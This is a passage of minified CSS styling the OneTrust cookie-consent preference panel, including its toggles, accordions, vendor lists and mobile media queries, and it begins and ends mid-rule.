.ot-pli-hdr.ot-leg-border-color span:first-child{width:90px}#onetrust-pc-sdk .ot-enbl-chr li.ot-subgrp>h5+.ot-tgl-cntr{padding-right:25px}#onetrust-pc-sdk .ot-plus-minus{width:20px;height:20px;font-size:1.5em;position:relative;display:inline-block;margin-right:5px;top:3px}#onetrust-pc-sdk .ot-plus-minus span{position:absolute;background:#27455c;border-radius:1px}#onetrust-pc-sdk .ot-plus-minus span:first-of-type{top:25%;bottom:25%;width:10%;left:45%}#onetrust-pc-sdk .ot-plus-minus span:last-of-type{left:25%;right:25%;height:10%;top:45%}#onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-arw,#onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:first-of-type,#onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:last-of-type{transform:rotate(90deg)}#onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-plus-minus span:last-of-type{left:50%;right:50%}#onetrust-pc-sdk #ot-selall-vencntr label,#onetrust-pc-sdk #ot-selall-adtlvencntr label,#onetrust-pc-sdk #ot-selall-hostcntr label,#onetrust-pc-sdk #ot-selall-licntr label{position:relative;display:inline-block;width:20px;height:20px}#onetrust-pc-sdk .ot-host-item .ot-plus-minus,#onetrust-pc-sdk .ot-ven-item .ot-plus-minus{float:left;margin-right:8px;top:10px}#onetrust-pc-sdk .ot-ven-item ul{list-style:none inside;font-size:100%;margin:0}#onetrust-pc-sdk .ot-ven-item ul li{margin:0 !important;padding:0;border:none !important}#onetrust-pc-sdk .ot-pli-hdr{color:#77808e;overflow:hidden;padding-top:7.5px;padding-bottom:7.5px;width:calc(100% - 2px);border-top-left-radius:3px;border-top-right-radius:3px}#onetrust-pc-sdk .ot-pli-hdr span:first-child{top:50%;transform:translateY(50%);max-width:90px}#onetrust-pc-sdk .ot-pli-hdr span:last-child{padding-right:10px;max-width:95px;text-align:center}#onetrust-pc-sdk .ot-li-title{float:right;font-size:.813em}#onetrust-pc-sdk .ot-pli-hdr.ot-leg-border-color{background-color:#f4f4f4;border:1px solid #d8d8d8}#onetrust-pc-sdk .ot-pli-hdr.ot-leg-border-color span:first-child{text-align:left;width:70px}#onetrust-pc-sdk li.ot-subgrp>h5,#onetrust-pc-sdk .ot-cat-header{width:calc(100% - 130px)}#onetrust-pc-sdk li.ot-subgrp>h5+.ot-tgl-cntr{padding-left:13px}#onetrust-pc-sdk .ot-acc-grpcntr .ot-acc-grpdesc{margin-bottom:5px}#onetrust-pc-sdk .ot-acc-grpcntr .ot-subgrp-cntr{border-top:1px solid #d8d8d8}#onetrust-pc-sdk .ot-acc-grpcntr .ot-vlst-cntr+.ot-subgrp-cntr{border-top:none}#onetrust-pc-sdk .ot-acc-hdr .ot-arw-cntr+.ot-tgl-cntr,#onetrust-pc-sdk .ot-acc-txt h4+.ot-tgl-cntr{padding-left:13px}#onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-subgrp>h5,#onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-cat-header{width:calc(100% - 145px)}#onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item h5+.ot-tgl-cntr,#onetrust-pc-sdk .ot-pli-hdr~.ot-cat-item .ot-cat-header+.ot-tgl{padding-left:28px}#onetrust-pc-sdk .ot-sel-all-hdr,#onetrust-pc-sdk .ot-sel-all-chkbox{display:inline-block;width:100%;position:relative}#onetrust-pc-sdk .ot-sel-all-chkbox{z-index:1}#onetrust-pc-sdk .ot-sel-all{margin:0;position:relative;padding-right:23px;float:right}#onetrust-pc-sdk .ot-consent-hdr,#onetrust-pc-sdk .ot-li-hdr{float:right;font-size:.812em;line-height:normal;text-align:center;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk .ot-li-hdr{max-width:100px;padding-right:10px}#onetrust-pc-sdk .ot-consent-hdr{max-width:55px}#onetrust-pc-sdk #ot-selall-licntr{display:block;width:21px;height:auto;float:right;position:relative;right:80px}#onetrust-pc-sdk #ot-selall-licntr label{position:absolute}#onetrust-pc-sdk .ot-ven-ctgl{margin-left:66px}#onetrust-pc-sdk .ot-ven-litgl+.ot-arw-cntr{margin-left:81px}#onetrust-pc-sdk .ot-enbl-chr .ot-host-cnt .ot-tgl-cntr{width:auto}#onetrust-pc-sdk #ot-lst-cnt:not(.ot-host-cnt) .ot-tgl-cntr{width:auto;top:auto;height:20px}#onetrust-pc-sdk #ot-lst-cnt .ot-chkbox{position:relative;display:inline-block;width:20px;height:20px}#onetrust-pc-sdk #ot-lst-cnt .ot-chkbox label{position:absolute;padding:0;width:20px;height:20px}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info-cntr{border:1px solid #d8d8d8;padding:.75rem 2rem;padding-bottom:0;width:auto;margin-top:.5rem}#onetrust-pc-sdk .ot-acc-grpdesc+.ot-leg-btn-container{padding-left:20px;padding-right:20px;width:calc(100% - 40px);margin-bottom:5px}#onetrust-pc-sdk .ot-subgrp .ot-leg-btn-container{margin-bottom:5px}#onetrust-pc-sdk #ot-ven-lst .ot-leg-btn-container{margin-top:10px}#onetrust-pc-sdk .ot-leg-btn-container{display:inline-block;width:100%;margin-bottom:10px}#onetrust-pc-sdk .ot-leg-btn-container button{height:auto;padding:6.5px 8px;margin-bottom:0;letter-spacing:0;font-size:.75em;line-height:normal}#onetrust-pc-sdk .ot-leg-btn-container svg{display:none;height:14px;width:14px;padding-right:5px;vertical-align:sub}#onetrust-pc-sdk .ot-active-leg-btn{cursor:default;pointer-events:none}#onetrust-pc-sdk .ot-active-leg-btn svg{display:inline-block}#onetrust-pc-sdk .ot-remove-objection-handler{text-decoration:underline;padding:0;font-size:.75em;font-weight:600;line-height:1;padding-left:10px}#onetrust-pc-sdk .ot-obj-leg-btn-handler span{font-weight:bold;text-align:center;font-size:inherit;line-height:1.5}#onetrust-pc-sdk.ot-close-btn-link #close-pc-btn-handler{border:none;height:auto;line-height:1.5;text-decoration:underline;font-size:.69em;background:none;right:15px;top:15px;width:auto;font-weight:normal}#onetrust-pc-sdk .ot-pgph-link{font-size:.813em !important;margin-top:5px;position:relative}#onetrust-pc-sdk .ot-pgph-link.ot-pgph-link-subgroup{margin-bottom:1rem}#onetrust-pc-sdk .ot-pgph-contr{margin:0 2.5rem}#onetrust-pc-sdk .ot-pgph-title{font-size:1.18rem;margin-bottom:2rem}#onetrust-pc-sdk .ot-pgph-desc{font-size:1rem;font-weight:400;margin-bottom:2rem;line-height:1.5rem}#onetrust-pc-sdk .ot-pgph-desc:not(:last-child):after{content:"";width:96%;display:block;margin:0 auto;padding-bottom:2rem;border-bottom:1px solid #e9e9e9}#onetrust-pc-sdk .ot-cat-header{float:left;font-weight:600;font-size:.875em;line-height:1.5;max-width:90%;vertical-align:middle}#onetrust-pc-sdk .ot-vnd-item>button:focus{outline:#000 solid 2px}#onetrust-pc-sdk .ot-vnd-item>button{position:absolute;cursor:pointer;width:100%;height:100%;margin:0;top:0;left:0;z-index:1;max-width:none;border:none}#onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=false]~.ot-acc-txt{margin-top:0;max-height:0;opacity:0;overflow:hidden;width:100%;transition:.25s ease-out;display:none}#onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=true]~.ot-acc-txt{transition:.1s ease-in;margin-top:10px;width:100%;overflow:auto;display:block}#onetrust-pc-sdk .ot-vnd-item>button[aria-expanded=true]~.ot-acc-grpcntr{width:auto;margin-top:0px;padding-bottom:10px}#onetrust-pc-sdk .ot-accordion-layout.ot-cat-item{position:relative;border-radius:2px;margin:0;padding:0;border:1px solid #d8d8d8;border-top:none;width:calc(100% - 2px);float:left}#onetrust-pc-sdk .ot-accordion-layout.ot-cat-item:first-of-type{margin-top:10px;border-top:1px solid #d8d8d8}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc{padding-left:20px;padding-right:20px;width:calc(100% - 40px);font-size:.812em;margin-bottom:10px;margin-top:15px}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc>ul{padding-top:10px}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc>ul li{padding-top:0;line-height:1.5;padding-bottom:10px}#onetrust-pc-sdk .ot-accordion-layout div+.ot-acc-grpdesc{margin-top:5px}#onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr:first-child{margin-top:10px}#onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr:last-child,#onetrust-pc-sdk .ot-accordion-layout .ot-hlst-cntr:last-child{margin-bottom:5px}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-hdr{padding-top:11.5px;padding-bottom:11.5px;padding-left:20px;padding-right:20px;width:calc(100% - 40px);display:inline-block}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-txt{width:100%;padding:0}#onetrust-pc-sdk .ot-accordion-layout .ot-subgrp-cntr{padding-left:20px;padding-right:15px;padding-bottom:0;width:calc(100% - 35px)}#onetrust-pc-sdk .ot-accordion-layout .ot-subgrp{padding-right:5px}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpcntr{z-index:1;position:relative}#onetrust-pc-sdk .ot-accordion-layout .ot-cat-header+.ot-arw-cntr{position:absolute;top:50%;transform:translateY(-50%);right:20px;margin-top:-2px}#onetrust-pc-sdk .ot-accordion-layout .ot-cat-header+.ot-arw-cntr .ot-arw{width:15px;height:20px;margin-left:5px;color:dimgray}#onetrust-pc-sdk .ot-accordion-layout .ot-cat-header{float:none;color:#2e3644;margin:0;display:inline-block;height:auto;word-wrap:break-word;min-height:inherit}#onetrust-pc-sdk .ot-accordion-layout .ot-vlst-cntr,#onetrust-pc-sdk .ot-accordion-layout .ot-hlst-cntr{padding-left:20px;width:calc(100% - 20px);display:inline-block;margin-top:0;padding-bottom:2px}#onetrust-pc-sdk .ot-accordion-layout .ot-acc-hdr{position:relative;min-height:25px}#onetrust-pc-sdk .ot-accordion-layout h4~.ot-tgl,#onetrust-pc-sdk .ot-accordion-layout h4~.ot-always-active{position:absolute;top:50%;transform:translateY(-50%);right:20px}#onetrust-pc-sdk .ot-accordion-layout h4~.ot-tgl+.ot-tgl{right:95px}#onetrust-pc-sdk .ot-accordion-layout .category-vendors-list-handler,#onetrust-pc-sdk .ot-accordion-layout .category-vendors-list-handler+a{margin-top:5px}#onetrust-pc-sdk #ot-lst-cnt{margin-top:1rem;max-height:calc(100% - 96px)}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info-cntr{border:1px solid #d8d8d8;padding:.75rem 2rem;padding-bottom:0;width:auto;margin-top:.5rem}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info{margin-bottom:1rem;padding-left:.75rem;padding-right:.75rem;display:flex;flex-direction:column}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info[data-vnd-info-key*=DPOEmail]{border-top:1px solid #d8d8d8;padding-top:1rem}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info[data-vnd-info-key*=DPOLink]{border-bottom:1px solid #d8d8d8;padding-bottom:1rem}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info .ot-vnd-lbl{font-weight:bold;font-size:.85em;margin-bottom:.5rem}#onetrust-pc-sdk #ot-lst-cnt .ot-vnd-info .ot-vnd-cnt{margin-left:.5rem;font-weight:500;font-size:.85rem}#onetrust-pc-sdk .ot-vs-list,#onetrust-pc-sdk .ot-vnd-serv{width:auto;padding:1rem 1.25rem;padding-bottom:0}#onetrust-pc-sdk .ot-vs-list .ot-vnd-serv-hdr-cntr,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-serv-hdr-cntr{padding-bottom:.75rem;border-bottom:1px solid #d8d8d8}#onetrust-pc-sdk .ot-vs-list .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr{font-weight:600;font-size:.95em;line-height:2;margin-left:.5rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item{border:none;margin:0;padding:0}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item button,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item button{outline:none;border-bottom:1px solid #d8d8d8}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item button[aria-expanded=true],#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item button[aria-expanded=true]{border-bottom:none}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item:first-child,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:first-child{margin-top:.25rem;border-top:unset}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item:last-child,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:last-child{margin-bottom:.5rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item:last-child button,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item:last-child button{border-bottom:none}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info-cntr,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info-cntr{border:1px solid #d8d8d8;padding:.75rem 1.75rem;padding-bottom:0;width:auto;margin-top:.5rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info{margin-bottom:1rem;padding-left:.75rem;padding-right:.75rem;display:flex;flex-direction:column}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOEmail],#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOEmail]{border-top:1px solid #d8d8d8;padding-top:1rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOLink],#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info[data-vnd-info-key*=DPOLink]{border-bottom:1px solid #d8d8d8;padding-bottom:1rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info .ot-vnd-lbl,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info .ot-vnd-lbl{font-weight:bold;font-size:.85em;margin-bottom:.5rem}#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info .ot-vnd-cnt,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info .ot-vnd-cnt{margin-left:.5rem;font-weight:500;font-size:.85rem}#onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt,#onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt{padding-left:40px}#onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr,#onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr{font-size:.8em}#onetrust-pc-sdk .ot-vs-list.ot-vnd-subgrp-cnt .ot-cat-header,#onetrust-pc-sdk .ot-vnd-serv.ot-vnd-subgrp-cnt .ot-cat-header{font-size:.8em}#onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv{margin-bottom:1rem;padding:1rem .95rem}#onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv .ot-vnd-serv-hdr-cntr{padding-bottom:.75rem;border-bottom:1px solid #d8d8d8}#onetrust-pc-sdk .ot-subgrp-cntr .ot-vnd-serv .ot-vnd-serv-hdr-cntr .ot-vnd-serv-hdr{font-weight:700;font-size:.8em;line-height:20px;margin-left:.82rem}#onetrust-pc-sdk .ot-subgrp-cntr .ot-cat-header{font-weight:700;font-size:.8em;line-height:20px}#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-vnd-serv .ot-vnd-lst-cont .ot-accordion-layout .ot-acc-hdr div.ot-chkbox{margin-left:.82rem}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr{padding:.7rem 0;margin:0;display:flex;width:100%;align-items:center;justify-content:space-between}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr div:first-child,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr div:first-child,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr div:first-child,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr div:first-child,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr div:first-child,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr div:first-child,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr div:first-child{margin-left:.5rem}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr div:last-child,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr div:last-child,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr div:last-child,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr div:last-child,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr div:last-child,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr div:last-child,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr div:last-child{margin-right:.5rem;margin-left:.5rem}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-always-active,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-always-active{position:relative;right:unset;top:unset;transform:unset}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-plus-minus,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-plus-minus{top:0}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-arw-cntr,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-arw-cntr{float:none;top:unset;right:unset;transform:unset;margin-top:-2px;position:relative}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-cat-header,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-cat-header{flex:1;margin:0 .5rem}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-tgl,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-tgl{position:relative;transform:none;right:0;top:0;float:none}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox{position:relative;margin:0 .5rem}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox label{padding:0}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox label::before,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox label::before{position:relative}#onetrust-pc-sdk .ot-vs-config .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk #ot-pc-lst .ot-vs-list .ot-vnd-item .ot-acc-hdr .ot-chkbox input,#onetrust-pc-sdk .ot-accordion-layout.ot-checkbox-consent .ot-acc-hdr .ot-chkbox input{position:absolute;cursor:pointer;width:100%;height:100%;opacity:0;margin:0;top:0;left:0;z-index:1}#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr h5.ot-cat-header,#onetrust-pc-sdk .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp .ot-acc-hdr h4.ot-cat-header{margin:0}#onetrust-pc-sdk .ot-vs-config .ot-subgrp-cntr ul.ot-subgrps li.ot-subgrp h5{top:0;line-height:20px}#onetrust-pc-sdk .ot-vs-list{display:flex;flex-direction:column;padding:0;margin:.5rem 4px}#onetrust-pc-sdk .ot-vs-selc-all{display:flex;padding:0;float:unset;align-items:center;justify-content:flex-start}#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf{justify-content:flex-end}#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf.ot-caret-conf .ot-sel-all-chkbox{margin-right:48px}#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf .ot-sel-all-chkbox{margin:0;padding:0;margin-right:14px;justify-content:flex-end}#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr.ot-chkbox,#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr.ot-tgl{display:inline-block;right:unset;width:auto;height:auto;float:none}#onetrust-pc-sdk .ot-vs-selc-all.ot-toggle-conf #ot-selall-vencntr label{width:45px;height:25px}#onetrust-pc-sdk .ot-vs-selc-all .ot-sel-all-chkbox{margin-right:11px;margin-left:.75rem;display:flex;align-items:center}#onetrust-pc-sdk .ot-vs-selc-all .sel-all-hdr{margin:0 1.25rem;font-size:.812em;line-height:normal;text-align:center;word-break:break-word;word-wrap:break-word}#onetrust-pc-sdk .ot-vnd-list-cnt #ot-selall-vencntr.ot-chkbox{float:unset;right:0}#onetrust-pc-sdk[dir=rtl] #ot-back-arw,#onetrust-pc-sdk[dir=rtl] input~.ot-acc-hdr .ot-arw{transform:rotate(180deg);-o-transform:rotate(180deg);-ms-transform:rotate(180deg);-webkit-transform:rotate(180deg)}#onetrust-pc-sdk[dir=rtl] input:checked~.ot-acc-hdr .ot-arw{transform:rotate(270deg);-o-transform:rotate(270deg);-ms-transform:rotate(270deg);-webkit-transform:rotate(270deg)}#onetrust-pc-sdk[dir=rtl] .ot-chkbox label::after{transform:rotate(45deg);-webkit-transform:rotate(45deg);-o-transform:rotate(45deg);-ms-transform:rotate(45deg);border-left:0;border-right:3px solid}#onetrust-pc-sdk[dir=rtl] .ot-search-cntr>svg{right:0}@media only screen and (max-width: 600px){#onetrust-pc-sdk.otPcCenter{left:0;min-width:100%;height:100%;top:0;border-radius:0}#onetrust-pc-sdk #ot-pc-content,#onetrust-pc-sdk.ot-ftr-stacked .ot-btn-container{margin:1px 3px 0 10px;padding-right:10px;width:calc(100% - 23px)}#onetrust-pc-sdk .ot-btn-container button{max-width:none;letter-spacing:.01em}#onetrust-pc-sdk #close-pc-btn-handler{top:10px;right:17px}#onetrust-pc-sdk p{font-size:.7em}#onetrust-pc-sdk #ot-pc-hdr{margin:10px 10px 0 5px;width:calc(100% - 15px)}#onetrust-pc-sdk .vendor-search-handler{font-size:1em}#onetrust-pc-sdk #ot-back-arw{margin-left:12px}#onetrust-pc-sdk #ot-lst-cnt{margin:0;padding:0 5px 0 10px;min-width:95%}#onetrust-pc-sdk .switch+p{max-width:80%}#onetrust-pc-sdk .ot-ftr-stacked button{width:100%}#onetrust-pc-sdk #ot-fltr-cnt{max-width:320px;width:90%;border-top-right-radius:0;border-bottom-right-radius:0;margin:0;margin-left:15px;left:auto;right:40px;top:85px}#onetrust-pc-sdk .ot-fltr-opt{margin-left:25px;margin-bottom:10px}#onetrust-pc-sdk .ot-pc-refuse-all-handler{margin-bottom:0}#onetrust-pc-sdk #ot-fltr-cnt{right:40px}}@media only screen and (max-width: 476px){#onetrust-pc-sdk .ot-fltr-cntr,#onetrust-pc-sdk #ot-fltr-cnt{right:10px}#onetrust-pc-sdk #ot-anchor{right:25px}#onetrust-pc-sdk button{width:100%}#onetrust-pc-sdk:not(.ot-addtl-vendors) #ot-pc-lst:not(.ot-enbl-chr) .ot-sel-all{padding-right:9px}#onetrust-pc-sdk:not(.ot-addtl-vendors) #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr{right:0}}@media only screen and (max-width: 896px)and (max-height: 425px)and (orientation: landscape){#onetrust-pc-sdk.otPcCenter{left:0;top:0;min-width:100%;height:100%;border-radius:0}#onetrust-pc-sdk .ot-pc-header{height:auto;min-height:20px}#onetrust-pc-sdk .ot-pc-header .ot-pc-logo{max-height:30px}#onetrust-pc-sdk .ot-pc-footer{max-height:60px;overflow-y:auto}#onetrust-pc-sdk #ot-pc-content,#onetrust-pc-sdk #ot-pc-lst{bottom:70px}#onetrust-pc-sdk.ot-ftr-stacked #ot-pc-content{bottom:70px}#onetrust-pc-sdk #ot-anchor{left:initial;right:50px}#onetrust-pc-sdk #ot-lst-title{margin-top:12px}#onetrust-pc-sdk #ot-lst-title *{font-size:inherit}#onetrust-pc-sdk #ot-pc-hdr input{margin-right:0;padding-right:45px}#onetrust-pc-sdk .switch+p{max-width:85%}#onetrust-pc-sdk #ot-sel-blk{position:static}#onetrust-pc-sdk #ot-pc-lst{overflow:auto}#onetrust-pc-sdk 